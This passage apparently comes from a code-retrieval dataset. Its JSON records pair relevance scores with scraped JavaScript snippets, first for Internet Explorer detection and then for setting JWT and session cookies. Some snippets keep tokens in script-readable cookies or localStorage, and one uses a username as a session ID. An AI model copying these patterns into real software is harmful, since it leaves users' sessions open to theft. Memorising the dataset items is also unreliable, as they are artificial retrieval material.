userAgent.indexOf('MSIE ') !== -1;\n const isTrident = userAgent.indexOf('Trident/') !== -1;\n return isMSIE || isTrident;\n}", "title": "" }, { "docid": "2fe4a3197b45d793bbbd2a5978e70737", "score": "0.5637875", "text": "function errorHandlerOldBrowsers(){\n var errorMessage = {\n message: arguments[0],\n filename: arguments[1],\n lineno: arguments[2],\n colno: arguments[3] || 0\n };\n errorHandler(errorMessage);\n }", "title": "" }, { "docid": "402448850a7d2c521880e5e1652fec8c", "score": "0.56300527", "text": "function isIE6() {\n\t\treturn $.browser.msie && /msie 6\\.0/i.test(navigator.userAgent);\n\t} // isIE6", "title": "" }, { "docid": "5aab2c26dbe38c15780440b11bb307eb", "score": "0.5623598", "text": "function msieversion() {\n\n var ua = window.navigator.userAgent;\n var msie = ua.indexOf(\"MSIE \");\n\n if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\\:11\\./)) {\n //alert(parseInt(ua.substring(msie + 5, ua.indexOf(\".\", msie))));\n var retval = 1;\n }\n else {\n retval = '';\n }\n\n return retval;\n}", "title": "" }, { "docid": "ad9642597dc9685a00dfe297a2a9728c", "score": "0.56220126", "text": "function lessThanIE9(element) {\n\t\t\tvar fileName = element.val().split(/\\\\/).pop();\n\n\t\t\tif (!fileName == '') {\n\n\t\t\t\tvar fileExtension = fileName.split('.').pop().toLowerCase(),\n\t\t\t\t\textensions = element.data('extensions'),\n\t\t\t\t\tparent = element.parent(),\n\t\t\t\t\tuploadFeedback = parent.find('.customfile-feedback'),\n\t\t\t\t\tuploadButton = parent.find('.customfile-button'),\n\t\t\t\t\tprogressionBar = parent.find('.customfile-progress'),\n\t\t\t\t\tfileExtClass = 'customfile-ext-' + fileExtension;\n\n\t\t\t\tvar validExtension = fileExtValidation(extensions, [fileExtension]);\n\n\t\t\t\tif (validExtension) {\n\t\t\t\t\tuploadFeedback.text(fileName);\n\n\t\t\t\t\tdidValidate(uploadFeedback, uploadButton, fileExtClass);\n\n\t\t\t\t} else {\n\n\t\t\t\t\tdidNotValidate(element, uploadFeedback, uploadButton);\n\n\t\t\t\t}\n\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "608598a1ac132fa128b43743c58c26b6", "score": "0.56194705", "text": "function isIE8() {\n if (window.attachEvent && !window.addEventListener) {\n return true;\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "42b7710376ff578f010789cec5b0ccd7", "score": "0.5619099", "text": "static isIEorEdge() {\n return LuxUtil.isIE() || LuxUtil.isEdge();\n }", "title": "" }, { "docid": "9a74be172f66219ea5d2ab71293d7a08", "score": "0.56174225", "text": "function isSupported()\r\n{\r\n\treturn (isIE || isMoz);\r\n}", "title": "" }, { "docid": "41f3ebd066dd18bb9fb4b86629e624ba", "score": "0.5615281", "text": "function isIE() {\n\t//Create var for userAgent\n\tuserAg = navigator.userAgent;\n\t//Create var to store return of index of strings\n\tvar is_ie = userAg.indexOf(\"MSIE \") > -1 || userAg.indexOf(\"Trident/\") > -1 || userAg.indexOf(\"Edge\") > -1;\n\t//return result\n\treturn is_ie;\n}", "title": "" }, { "docid": "2e927448c41108ce0a03bd7942d4f7b3", "score": "0.5615237", "text": "function FirstLastChildIE(){\n\tif ($.browser.msie) {\n\t\t$('.l-footer .b-footer-bav li:first-child, .b-spotlight-list .b-spotlight:first-child, .l-header .b-top-bar ul > li:first-child, .b-article .b-tab-body:first-child').addClass('m-first');\n\t\t$('.l-header .b-main-nav > ul > li:last-child, .m-w33:last-child, .m-w50:last-child, .l-header .b-flyout ul li:last-child,.b-search-list .b-item:last-child, .b-icons-list.m-big .b-item:last-child, .b-callout-list .b-callout:last-child').addClass('m-last');\n\t}\n}", "title": "" }, { "docid": "04c8c833b9afa91a2a8bcf2ac808f816", "score": "0.56023425", "text": "function isIE() {\n var ua = navigator.userAgent;\n var is_ie = ua.indexOf(\"MSIE \") > -1 || ua.indexOf(\"Trident/\") > -1;\n\n return is_ie;\n}", "title": "" }, { "docid": "c6e6d16d4975d4548ff6a14569d199b9", "score": "0.5598795", "text": "function hasTransparentBug(browser) {\n return ~[\"ie 8\", \"ie 9\"].indexOf(browser);\n}", "title": "" }, { "docid": "0f7ceb5423adace2c2fb5dc072682be4", "score": "0.5594751", "text": "function isIE( version ) {\n return getInternetExplorerVersion() === version;\n}", "title": "" }, { "docid": "ab0eaea1aaa528160deb92d35b3856d4", "score": "0.5593133", "text": "function m(){return-1===window.navigator.userAgent.indexOf(\"Trident\")}", "title": "" }, { "docid": "1a44a23db40d5c141279298ea8d160ed", "score": "0.5572269", "text": "function isIE8(){ \r\nreturn pDocument.getElementById(\"ie8\"); \r\n}", "title": "" }, { "docid": "3bf1787b441762dfdcf724f4d657bc35", "score": "0.5567827", "text": "function browserCheck(){\n\t\tif(Globals.s.isIE === false || Globals.s.ieVersion >= 10){\n\t\t\ts.browserOk = true;\n\t\t}\n\t\telse{\n\t\t\ts.browserOk = false;\n\t\t}\n\t}", "title": "" }, { "docid": "57e0956f686496c1d7da22314d6fd428", "score": "0.55662644", "text": "function browserCheck()\n{\nvar check=navigator.appName;\nif (check==\"Microsoft Internet Explorer\")\n{\nbrowserInfo=\"bad\";\n}\n}", "title": "" }, { "docid": "2c73b0cd17e3bfbb0b986e34e36069a3", "score": "0.5565236", "text": "function isIE() {\n var ua = window.navigator.userAgent;\n // MSIE: ie <= 10, Trident: ie 11+\n return ua.indexOf('Trident/') > 0 || ua.indexOf('MSIE ') > 0;\n}", "title": "" }, { "docid": "a9a8aad3e3d5a93c5af27f54faaf00b3", "score": "0.5563937", "text": "function isExplorer()\n{\n var ua = window.navigator.userAgent;\n var msie = ua.indexOf(\"MSIE\");\n\n if (msie > 0)\n {\n return true;\n }\n else\n {\n return false;\n }\n}", "title": "" }, { "docid": "d314f840e0381e31cb5dfe1d305d5f76", "score": "0.55543166", "text": "function browserDetect(){\r\n\t\tvar ua = window.navigator.userAgent;\r\n\t\ts.isFirefox = ua.toLowerCase().indexOf('firefox') > -1; /*[1]*/\r\n\t\tif (s.isFirefox){\r\n\t\t\t$('html').addClass('firefox');\r\n\t\t}\r\n\r\n\t\tvar msIEIndex \t\t= ua.toLowerCase().indexOf(\"msie\");\r\n\t\tvar tridentIndex \t= ua.toLowerCase().indexOf(\"trident\");\r\n\t\tif (msIEIndex > -1 || tridentIndex > -1){\r\n\t\t\ts.isIE = true;\r\n\t\t\t$('html').addClass('ie-yes');\r\n\t\t\tif (msIEIndex > -1){\r\n\t\t\t\ts.ieVersion = parseInt(ua.substring(msIEIndex + 5, ua.indexOf(\".\", msIEIndex)));\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\ts.ieVersion = 99;\r\n\t\t\t}\r\n\t\t\tieFixes();\r\n\t\t}\r\n\t\telse{\r\n\t\t\ts.isIE = false;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "d314f840e0381e31cb5dfe1d305d5f76", "score": "0.55543166", "text": "function browserDetect(){\r\n\t\tvar ua = window.navigator.userAgent;\r\n\t\ts.isFirefox = ua.toLowerCase().indexOf('firefox') > -1; /*[1]*/\r\n\t\tif (s.isFirefox){\r\n\t\t\t$('html').addClass('firefox');\r\n\t\t}\r\n\r\n\t\tvar msIEIndex \t\t= ua.toLowerCase().indexOf(\"msie\");\r\n\t\tvar tridentIndex \t= ua.toLowerCase().indexOf(\"trident\");\r\n\t\tif (msIEIndex > -1 || tridentIndex > -1){\r\n\t\t\ts.isIE = true;\r\n\t\t\t$('html').addClass('ie-yes');\r\n\t\t\tif (msIEIndex > -1){\r\n\t\t\t\ts.ieVersion = parseInt(ua.substring(msIEIndex + 5, ua.indexOf(\".\", msIEIndex)));\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\ts.ieVersion = 99;\r\n\t\t\t}\r\n\t\t\tieFixes();\r\n\t\t}\r\n\t\telse{\r\n\t\t\ts.isIE = false;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "d71e3e2e2b344ea1ee7d8b8a6d278526", "score": "0.553854", "text": "function isIE( version, comparison ){\r\n\t\t var $div = jQuery('<div style=\"display:none;\"/>').appendTo(jQuery('body'));\r\n\t\t $div.html('<!--[if '+(comparison||'')+' IE '+(version||'')+']><a>&nbsp;</a><![endif]-->');\r\n\t\t var ieTest = $div.find('a').length;\r\n\t\t $div.remove();\r\n\t\t return ieTest;\r\n\t\t}", "title": "" }, { "docid": "3ae32a6369487cbb1f94d7dea5693a2d", "score": "0.5537178", "text": "function setCompatibility()\n {\n if (typeof String.prototype.trim !== 'function') {\n String.prototype.trim = function() {\n return this.replace(/^\\s+|\\s+$/g, '');\n }\n }\n\n if (typeof document.hasFocus !== 'function') {\n // Opera lacks hasFocus support. Simply default to true.\n document.hasFocus = function() {\n return true;\n }\n }\n }", "title": "" }, { "docid": "55e7b27e88e92567331928e67164fb12", "score": "0.5533694", "text": "function detectIE() {\n var ua = window.navigator.userAgent;\n\n var msie = ua.indexOf(\"MSIE \");\n if (msie > 0) {\n return parseInt(ua.substring(msie + 5, ua.indexOf(\".\", msie)), 10);\n }\n\n var trident = ua.indexOf(\"Trident/\");\n if (trident > 0) {\n var rv = ua.indexOf(\"rv:\");\n return parseInt(ua.substring(rv + 3, ua.indexOf(\".\", rv)), 10);\n }\n\n var edge = ua.indexOf(\"Edge/\");\n if (edge > 0) {\n return parseInt(ua.substring(edge + 5, ua.indexOf(\".\", edge)), 10);\n }\n\n return false;\n }", "title": "" }, { "docid": "58c5f7c8eb1ee55df0626b4ac0029b0f", "score": "0.5525031", "text": "function isIe() {\n\tvar ie\n\tif(typeof(Promise)==='undefined') {\n\t\tie = true\n\t} else {\n\t\tie = false\n\t}\n\treturn ie;\n}", "title": "" }, { "docid": "9962626c020df21731a0e33a51d36c32", "score": "0.5523637", "text": "function ieViewportFix() {\n\t\n\t\tvar msViewportStyle = document.createElement(\"style\");\n\t\t\n\t\tmsViewportStyle.appendChild(\n\t\t\tdocument.createTextNode(\n\t\t\t\t\"@-ms-viewport { width: device-width; }\"\n\t\t\t)\n\t\t);\n\n\t\tif (navigator.userAgent.match(/IEMobile\\/10\\.0/)) {\n\t\t\t\n\t\t\tmsViewportStyle.appendChild(\n\t\t\t\tdocument.createTextNode(\n\t\t\t\t\t\"@-ms-viewport { width: auto !important; }\"\n\t\t\t\t)\n\t\t\t);\n\t\t}\n\t\t\n\t\tdocument.getElementsByTagName(\"head\")[0].\n\t\t\t\tappendChild(msViewportStyle);\n\n\t}", "title": "" }, { "docid": "9962626c020df21731a0e33a51d36c32", "score": "0.5523637", "text": "function ieViewportFix() {\n\t\n\t\tvar msViewportStyle = document.createElement(\"style\");\n\t\t\n\t\tmsViewportStyle.appendChild(\n\t\t\tdocument.createTextNode(\n\t\t\t\t\"@-ms-viewport { width: device-width; }\"\n\t\t\t)\n\t\t);\n\n\t\tif (navigator.userAgent.match(/IEMobile\\/10\\.0/)) {\n\t\t\t\n\t\t\tmsViewportStyle.appendChild(\n\t\t\t\tdocument.createTextNode(\n\t\t\t\t\t\"@-ms-viewport { width: auto !important; }\"\n\t\t\t\t)\n\t\t\t);\n\t\t}\n\t\t\n\t\tdocument.getElementsByTagName(\"head\")[0].\n\t\t\t\tappendChild(msViewportStyle);\n\n\t}", "title": "" }, { "docid": "cf2ab5f24e2a7e57a507764681586836", "score": "0.55174005", "text": "function ieVersion() {\n if (navigator.appName == \"Microsoft Internet Explorer\") {\n if (navigator.appVersion.indexOf(\"MSIE 8.0\") > 0) { return 8; }\n else if (navigator.appVersion.indexOf(\"MSIE 7.0\") > 0) { return 7; }\n else if (navigator.appVersion.indexOf(\"MSIE 6.0\") > 0) { return 6; }\n } else { return 8; }\n}", "title": "" }, { "docid": "8867fd201396ae97a700aff5f99a3069", "score": "0.5516959", "text": "function expandTableForIE()\r\n\t{\r\n\t\t//Display other tables required for both the tabbed pages\r\n\t\tdocument.getElementById('table4_pageFooter').style.display=\"block\";\r\n\t\tdocument.getElementById('table2_TabPage').style.display=\"block\";\r\n\t\tdocument.getElementById('table1_OrderRequestHeader').style.display=\"block\";\r\n\t}", "title": "" }, { "docid": "9acc93f0e5fe31e6a38eba9b140bbf73", "score": "0.55147964", "text": "function is_ie() {\n\n var ua = window.navigator.userAgent;\n var msie = ua.indexOf(\"MSIE \");\n\n if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\\:11\\./)) {\n return true;\n }\n else {\n return false;\n }\n }", "title": "" }, { "docid": "7aeccdc52d02192e5135a752f9a6f6a3", "score": "0.550967", "text": "function detectIE() {\n var ua = window.navigator.userAgent;\n\n var msie = ua.indexOf('MSIE ');\n if (msie > 0) {\n return parseInt(ua.substring(msie + 5, ua.indexOf('.', msie)), 10);\n }\n\n var trident = ua.indexOf('Trident/');\n if (trident > 0) {\n var rv = ua.indexOf('rv:');\n return parseInt(ua.substring(rv + 3, ua.indexOf('.', rv)), 10);\n }\n\n var edge = ua.indexOf('Edge/');\n if (edge > 0) {\n return parseInt(ua.substring(edge + 5, ua.indexOf('.', edge)), 10);\n }\n\n return false;\n}", "title": "" }, { "docid": "7aeccdc52d02192e5135a752f9a6f6a3", "score": "0.550967", "text": "function detectIE() {\n var ua = window.navigator.userAgent;\n\n var msie = ua.indexOf('MSIE ');\n if (msie > 0) {\n return parseInt(ua.substring(msie + 5, ua.indexOf('.', msie)), 10);\n }\n\n var trident = ua.indexOf('Trident/');\n if (trident > 0) {\n var rv = ua.indexOf('rv:');\n return parseInt(ua.substring(rv + 3, ua.indexOf('.', rv)), 10);\n }\n\n var edge = ua.indexOf('Edge/');\n if (edge > 0) {\n return parseInt(ua.substring(edge + 5, ua.indexOf('.', edge)), 10);\n }\n\n return false;\n}", "title": "" }, { "docid": "c2ef8e4830b28f4a75d41d95e858fc12", "score": "0.5504441", "text": "function ie(){this.i=0,this.j=0,this.S=new Array}", "title": "" }, { "docid": "c2ef8e4830b28f4a75d41d95e858fc12", "score": "0.5504441", "text": "function ie(){this.i=0,this.j=0,this.S=new Array}", "title": "" }, { "docid": "8df8e388f08b86bc9c20b63874619740", "score": "0.5500566", "text": "function fixPlaceholderAttributeForIE() {\r\n\t\tif (!Modernizr.input.placeholder) {\r\n\t\t\t$(\"input\").each(function () {\r\n\t\t\t\tvar className = 'placeholdered';\r\n\t\t\t\tvar wrapped = $(this);\r\n\t\t\t\tvar dummy = wrapped.attr('placeholder');\r\n\t\t\t\tif (wrapped.val() == '' && dummy != '') {\r\n\t\t\t\t\twrapped.val(dummy).addClass(className);\r\n\t\t\t\t\twrapped.focus(function () {\r\n\t\t\t\t\t\tif (wrapped.val() == dummy) {\r\n\t\t\t\t\t\t\twrapped.val('').removeClass(className);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}).blur(function () {\r\n\t\t\t\t\t\tif (wrapped.val() == '') {\r\n\t\t\t\t\t\t\twrapped.val(dummy).addClass(className);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t});\r\n\t\t\t\t}\r\n\t\t\t});\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "17bd114deacdbec983a11e98fcf8265a", "score": "0.54970014", "text": "function ie6Ptach(containerVal) {\n if (IEVersion <= 7) {\n var iframes = containerVal.getElementsByTagName(\"iframe\");\n if (iframes != null && iframes.length > 0) {\n return;\n }\n var ieMat = document.createElement(\"iframe\");\n if (document.location.protocol == \"https:\") {\n ieMat.src = \"/images/spacer.gif\";\n } else if (window.opera != \"undefined\") {\n ieMat.src = \"\";\n } else {\n ieMat.src = \"javascript:false\";\n }\n ieMat.scrolling = \"no\";\n ieMat.frameBorder = \"0\";\n ieMat.style.width = containerVal.offsetWidth + \"px\";\n ieMat.style.height = containerVal.offsetHeight + \"px\";\n ieMat.style.zIndex = \"-1\";\n containerVal.insertBefore(ieMat, containerVal.childNodes[0]);\n containerVal.style.zIndex = \"100\";\n }\n}", "title": "" }, { "docid": "eebe7ab006cad7985d8007a1e888a3b7", "score": "0.549372", "text": "function isMsieSevenOrNewer() {\n\t\tif (typeof window.XMLHttpRequest !== 'undefined') {\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}", "title": "" }, { "docid": "eebe7ab006cad7985d8007a1e888a3b7", "score": "0.549372", "text": "function isMsieSevenOrNewer() {\n\t\tif (typeof window.XMLHttpRequest !== 'undefined') {\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}", "title": "" }, { "docid": "861233e9096a869ea272a865a2ee513a", "score": "0.548673", "text": "function isIE () {\n // Check if IE/Edge using 'console.log(navigator.userAgent.toLowerCase())'\n return (ua.indexOf('msie') != -1 || ua.indexOf('trident') != -1 || ua.indexOf('edge') != -1) ? true : false;\n }", "title": "" }, { "docid": "db5137322cea48e852374ca3c11a76da", "score": "0.54861575", "text": "function ietruebody(){\nreturn (document.compatMode && document.compatMode!=\"BackCompat\")? document.documentElement : document.body\n}", "title": "" }, { "docid": "efbea42f85f2fbfff6c2769a38fe1561", "score": "0.5481367", "text": "function isIE() {\n for (var v = 3, el = document.createElement('b'), all = el.all || []; el.innerHTML = '<!--[if gt IE ' + (++v) + ']><i><![endif]-->', all[0];);\n return v > 4 ? v : !!document.documentMode;\n }", "title": "" }, { "docid": "ee6d3913e9735540272a2ab053617422", "score": "0.54689884", "text": "function isIE( version, comparison ){\n\t\t var $div = jQuery('<div style=\"display:none;\"/>').appendTo(jQuery('body'));\n\t\t $div.html('<!--[if '+(comparison||'')+' IE '+(version||'')+']><a>&nbsp;</a><![endif]-->');\n\t\t var ieTest = $div.find('a').length;\n\t\t $div.remove();\n\t\t return ieTest;\n\t\t}", "title": "" }, { "docid": "d9410e2686d6ffdd0eda3ce159681b99", "score": "0.546586", "text": "get ie() {\n return getInternetExplorerVersion() !== -1;\n }", "title": "" }, { "docid": "6ab0de16ce268c57251ff718a4cfb48c", "score": "0.54463404", "text": "static isIE() {\n const msie = window.document['documentMode'];\n return msie && msie <= 11;\n }", "title": "" }, { "docid": "c362ef505f0e9760167786852a0bc19b", "score": "0.54452306", "text": "function appendLegacyCss(){\n\t\tif(oldIE){\n\t\t\t$(\"head\").append(\"<!--[if lte IE 7]><link href='\"+host_url+\"ie7.css' rel='stylesheet' /><![endif]-->\"+\n\t\t\t\t\"<!--[if lt IE 9]><link href='\"+host_url+\"ie8.css' rel='stylesheet' /><![endif]-->\");\n\t\t}\n\t}", "title": "" }, { "docid": "e501bcc53007bbb55059e92bdd9efdbe", "score": "0.544322", "text": "function detectIE() {\n var ua = window.navigator.userAgent;\n\n var msie = ua.indexOf('MSIE ');\n if (msie > 0) {\n msieversion = \"true\"\n } else {\n // other browser\n msieversion = 'false'\n //return 'false';\n }\n\n var trident = ua.indexOf('Trident/');\n if (trident > 0) {\n tridentVersion = 'true'\n // IE 11 => return version number\n } else {\n if (msie < 0) {\n //if (edge < 0) {\n tridentVersion = 'false'\n //return 'false';\n //}\n }\n }\n\n var edge = ua.indexOf('Edge/');\n if (edge > 0) {\n edgeversion = 'true'\n } else {\n // other browser\n if (trident < 0) {\n if (msie < 0) {\n edgeversion = 'false'\n //return 'false';\n }\n }\n }\n\n if (msieversion === 'false') {\n check = 0\n } else {\n check = 1\n }\n if (tridentVersion === 'false') {\n check = 0\n } else {\n check = 1\n }\n if (edgeversion === 'false') {\n check = 0\n } else {\n check = 1\n }\n //false is = to 0, true is = to 1. Checks if; not using IE (0) e.g. firefox or GC is 1.\n}", "title": "" } ]
587fef77c88977533dbc4b7ab3cef060
Set JWT Auth and Username Cookies For The Current Session
[ { "docid": "714f019e69b95852e494ec7cc01dca73", "score": "0.8150121", "text": "setupAuthCookie() {\n //When there is no Token, Discard Cookies (No Successfull login!)\n if (!this.state.token) {\n console.error(\"Cannot Set Cookie, Auth Token Not Defined!\");\n return false;\n }\n\n //Set JWT Token Cookie\n console.log(\"Setting JWT Cookie \", this.state.token);\n cookies.set(\n {\n url: \"http://localhost\",\n name: \"JWToken\",\n domain: \"localhost\",\n value: this.state.token\n },\n err => {\n if (err) console.log(\"Error Setting Auth Cookie \", err);\n else {\n //Set Username Cookie\n console.log(\"Setting Username COOKIE: \", this.state.email);\n cookies.set(\n {\n url: \"http://localhost\",\n name: \"username\",\n domain: \"localhost\",\n value: this.state.email\n },\n err => {\n if (err) console.log(\"Error Setting Cross-Session Username\");\n }\n );\n }\n }\n );\n }", "title": "" } ]
[ { "docid": "f64a0b9d18e88d90f28bbdc073063087", "score": "0.7098429", "text": "function setAuthCookies () {\n if ( $cookies.access_token ) {\n localStorageService.set( 'access_token', $cookies.access_token );\n\n $cookies.access_token = '';\n }\n if ( $cookies.refresh_token ) {\n localStorageService.set( 'refresh_token', $cookies.refresh_token );\n\n $cookies.refresh_token = '';\n }\n if ( $cookies.expires_in ) {\n localStorageService.set( 'expires_in', $cookies.expires_in );\n\n $cookies.expires_in = '';\n }\n if ( $cookies.issued_at ) {\n localStorageService.set( 'issued_at', $cookies.issued_at );\n\n $cookies.issued_at = '';\n }\n if ( $cookies.expires_at ) {\n localStorageService.set( 'expires_at', $cookies.expires_at );\n\n $cookies.expires_at = '';\n }\n }", "title": "" }, { "docid": "64a65f2c4ce365c8aa468e40052f8f0a", "score": "0.6835788", "text": "set authToken(token) {\n let cookies = new Cookies();\n if (!token) cookies.remove(envConfig.USER_TOKEN);\n else cookies.set(envConfig.USER_TOKEN, token);\n }", "title": "" }, { "docid": "563e797e3382477d96568ca4a1432794", "score": "0.66634285", "text": "setCurrentUserFromJWT (jwt, fromCookie) {\n // console.log()\n // console.log('++++++++> setCurrentUserFromJWT(): jwt=' + jwt)\n\n let haveUser = false\n let ident = null\n if (jwt) {\n // See https://github.com/auth0/jwt-decode\n try {\n var decoded = jwtDecode(jwt)\n console.log('decoded=', decoded)\n ident = decoded.identity\n haveUser = true\n } catch (e) {\n console.log('Error decoding JWT: ', e)\n // alert('Error decoding invalid JWT')\n haveUser = false\n }\n }\n\n // Change the current user.\n // let oldCurrentUser = user\n if (haveUser) {\n const user = {\n tenant: ident.tenant,\n authority: ident.authority,\n avatar: ident.avatar,\n email: ident.email,\n entityType: ident.entity_type,\n firstname: ident.first_name,\n fullname: ident.full_name,\n gender: ident.gender,\n id: ident.id,\n isAdmin: ident.is_admin,\n languages: ident.languages,\n lastname: ident.last_name,\n locale: ident.locale,\n location: ident.location,\n mediaPage: ident.media_page,\n middlename: ident.middle_name,\n privileges: ident.privileges,\n status: ident.status,\n timezone: ident.timezone,\n username: ident.username\n // type: ident.type,\n }\n\n // console.log('Setting user to ', user)\n this.user = user\n this.jwt = jwt\n this.fromCache = fromCookie\n return true\n } else {\n // No longer logged in\n this.user = null\n this.jwt = null\n this.fromCache = false\n return false\n }\n }", "title": "" }, { "docid": "a0ee601504fca05e8d403e627e2090fe", "score": "0.65963894", "text": "_setAuthData(authData) {\n this.$cookies.putObject('auth', {\n authData\n });\n }", "title": "" }, { "docid": "fde0bb0be836a8666a08633df907d15b", "score": "0.65354407", "text": "function set_token(data) {\n $cookies.put(authConfig.cookie_name, data, {\n path: '/',\n secure: $location.protocol() === 'https',\n domain: authConfig.cookie_domain\n });\n }", "title": "" }, { "docid": "52412b573a13be26803a96473e4c52d8", "score": "0.6514868", "text": "function setTokenCookie(req, res) {\n if (!req.user) return res.json(404, { message: 'Something went wrong, please try again.'});\n var token = signToken(req.user._id, req.user.role);\n res.cookie('token', JSON.stringify(token));\n res.redirect('/');\n}", "title": "" }, { "docid": "008b79e948c3674ed7908e9061f25ca8", "score": "0.650043", "text": "function initiateSession(res, username) {\n res.type('application/json').status(200)\n .cookie(COOKIE_SESSION_ID, generateSessionId(username), {httpOnly: true, secure: true})\n .cookie(COOKIE_USERNAME, username, {httpOnly: true, secure: true})\n .send(JSON.stringify({success: true}));\n}", "title": "" }, { "docid": "0553aaed0ba264fc7994416d3f1daa2e", "score": "0.64954334", "text": "function setTokenCookie(req,res) {\n if (!req.user) return res.status(404).send({message: 'Something went wrong trying to signin.', req: Object.keys(req)});\n var token = jwt.sign(req.user.token, config.token_secret, { expiresIn: 60*60*24 });\n res.cookie('token', token, { maxAge: 1000 * 60 * 60 * 24 });\n res.user = req.user.profile;\n res.redirect('/');\n }", "title": "" }, { "docid": "84adc846bf5c1f057fe11ca832e7103b", "score": "0.647334", "text": "function setTokenIntoCookie(user, statusCode, res, msg) {\n const token = user.getSignInWithToken();\n\n const options = {\n expires: new Date(Date.now() + 30 * 24 * 60 * 60 * 1000),\n httpOnly: true,\n };\n\n if (process.env.NODE_ENV === \"production\") {\n options.secure = true;\n }\n\n // set cookies\n res.status(statusCode).cookie(\"token\", token, options).json({\n success: true,\n token: token,\n message: msg,\n time : Date.now()\n });\n}", "title": "" }, { "docid": "ae6ee891b5c81ba23ab8f8463b4a2dff", "score": "0.6443418", "text": "function setTokenCookie (req, res) {\n if (!req.user) {\n return res.status(404).json({\n message: 'Something went wrong, please try again.'\n });\n }\n\n var token = signToken(req.user._id, req.user.role);\n res.cookie('token', JSON.stringify(token));\n res.redirect(config.frontend.url);\n}", "title": "" }, { "docid": "12fff38dcf8592b133fdfb8090b5cddf", "score": "0.64349747", "text": "function setTokenCookie(req, res) {\n if (!req.user) {\n return void res\n .status(404)\n .json({ message: 'Something went wrong, please try again.' })\n }\n const token = signToken(req.user._id)\n res.cookie('token', JSON.stringify(token), {\n maxAge: EXPIRES_IN_SECONDS * 1000\n })\n res.redirect('/')\n}", "title": "" }, { "docid": "50f57bd0197e844a3e62bdd619d9a4f1", "score": "0.63336635", "text": "function setJwt(jwt) {\n Axios.defaults.headers.common[\"x-auth-token\"] = jwt;\n}", "title": "" }, { "docid": "c93331ef3db6bf3bdf6300111ffd11c5", "score": "0.6333209", "text": "function setTokenCookie(req, res) {\n if (!req.visitor) return res.json(404, { message: 'Something went wrong, please try again.'});\n var token = signToken(req.visitor._id, 'visitor');\n res.cookie('token', JSON.stringify(token));\n res.redirect('/');\n}", "title": "" }, { "docid": "40e0c059e5e2d6dcfb399e863bf9293d", "score": "0.63134867", "text": "function initiateSession(res, username) {\n res.type('application/json').status(200)\n .cookie(COOKIE_SESSION_ID, generateSessionId(username))\n .cookie(COOKIE_USERNAME, username)\n .send(JSON.stringify({success: true}));\n}", "title": "" }, { "docid": "63dd1c5383d9cc6c05e822fb21cd3038", "score": "0.6299129", "text": "function setJwt(jwt) {\n axios.defaults.headers.common['x-auth-token'] = jwt;\n}", "title": "" }, { "docid": "0e46d133e93c6a46ce3434a2df10ae33", "score": "0.6297058", "text": "function setTokenCookie(req, res) {\n if (!req.user) {\n return res.status(404).send('It looks like you are not logged in, please try again.');\n }\n var token = signToken(req.user._id, req.user.role.name);\n res.cookie('token', token);\n res.redirect('/');\n}", "title": "" }, { "docid": "9327e9f1421039c8c5106403482266d6", "score": "0.6278893", "text": "function setCookie(cookie_json,res) {\n\t// If logged in, update SQL User Table\n\t\n\tif (cookie_json.profile.signed_in==true) {\n\t\tvar settings=JSON.stringify(cookie_json.settings);\n \tvar recipes=JSON.stringify(cookie_json.recipes);\n\n\t\tquery=`UPDATE users SET recipes='`+recipes+`', settings='`+settings+`' WHERE id='`+cookie_json.profile.id+`'`;\n\t\tdatabase.any(query);\n\t};\n\n\t// Set it\n\tres.clearCookie('session'); \n\tres.cookie(\"session\", cookie_json); \n}", "title": "" }, { "docid": "85d965531135fdd4b2ad54168205cd38", "score": "0.62643164", "text": "function createAuthCookies(user,res){\r\n\t//create auth cookie\r\n\tres.cookie('token', user.auth, {path:'/', maxAge:3600000});\r\n\tres.cookie('username', user.username, {path:'/', maxAge:3600000});\r\n}", "title": "" }, { "docid": "dbb70e1cd4bb57ca46d5ddb175ec9cab", "score": "0.6262714", "text": "registerSuccessfulLoginForJwt(userId, role, token) {\n sessionStorage.setItem(USER_NAME_SESSION_ATTRIBUTE_NAME, userId)\n sessionStorage.setItem(USER_TYPE, role)\n sessionStorage.setItem(TOKEN, JSON.stringify(token))\n // sessionStorage.setItem(TOKEN, this.createJWTToken(token))\n // this.setupAxiosInterceptors(this.createJWTToken(token))\n }", "title": "" }, { "docid": "88c05f3dcbdae8d2074892381d79390b", "score": "0.626149", "text": "function setSession() {\n let sesObj = {\n \"GUID\": contactID,\n \"username\": contactObj[\"firstname\"],\n \"contactObj\": contactObj,\n \"mortgageList\": mortgageList,\n \"paymentList\": paymentList\n };\n document.cookie = \"user=\" + JSON.stringify(sesObj) + \";\" + \"path=/\";\n\n window.location.replace(\"/Pages/Account.html\");\n //document.location.reload(true);\n}", "title": "" }, { "docid": "1f2d60c68ea1c4b55bc31d9cdea8de66", "score": "0.62544936", "text": "static authenticateUser(token){\n localStorage.setItem('token',token);\n}", "title": "" }, { "docid": "60912822b2a32f507dec9a853773d0f0", "score": "0.6247023", "text": "setJWTCookey({ commit }, data) {\n VueCookies.set(\"userToken\", data);\n commit(\"setJWT\", data);\n }", "title": "" }, { "docid": "8c3ad06c536ac6cf3dd978530eaea601", "score": "0.6235395", "text": "checkAuthentication () {\n const token = document.cookie\n\n if (token) this.user.authenticated = true\n else this.user.authenticated = false\n }", "title": "" }, { "docid": "067fc038d37d05db24a8beaf01156ed9", "score": "0.62233776", "text": "function setTokenCookie(req, res) {\n if (!req.user) {\n return res.status(404).send('It looks like you aren\\'t logged in, please try again.');\n }\n\n var token = signToken(req.user._id);\n res.cookie('token', token);\n res.redirect('/');\n}", "title": "" }, { "docid": "2e8f6c11800fa36244c4a8eb7568f8e2", "score": "0.6206821", "text": "login(username, password){\n\n console.log(\"Running login\");\n console.log(\"Username : \"+username);\n console.log(\"Password : \"+password);\n console.log(\"Connection url : \"+global.con);\n\n const requestBody ={\n username,\n password\n }\n return axios.post(BACKEND_BASE_URL+\"/authenticate\",{username,password})\n .then(response => {\n console.log(\"Jwt : \"+response.data.jwt);\n if (response.data.jwt){\n 